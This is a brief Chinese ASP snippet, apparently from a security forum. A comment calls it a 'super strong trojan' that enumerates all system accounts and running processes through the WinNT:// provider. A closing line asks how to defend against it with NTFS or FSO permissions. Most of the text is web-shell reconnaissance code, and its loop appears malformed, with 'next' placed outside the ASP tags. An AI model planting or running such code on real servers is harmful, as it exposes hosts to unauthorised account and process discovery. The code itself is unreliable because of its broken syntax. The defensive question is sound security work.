//超强木马 可以检测到系统的所有帐号和系统运行的进程！！！
<%
dim obj
on error resume next
for each obj in getObject("WinNT://.")
'for each obj in getObject("c:\windows\.")
err.clear%>
<%if err then
%>系统用户(组)<%else%>系统进程<%end if%>
<%if err then
else
%>(<%=obj.DisplayName%>)<%end if%>
<%=obj.path%>
next
%>
还没有想到好的方法 ntfs权限都没有用,看 访问网页的权限设置了,不过这样一动是不是要限制FSO权限呢？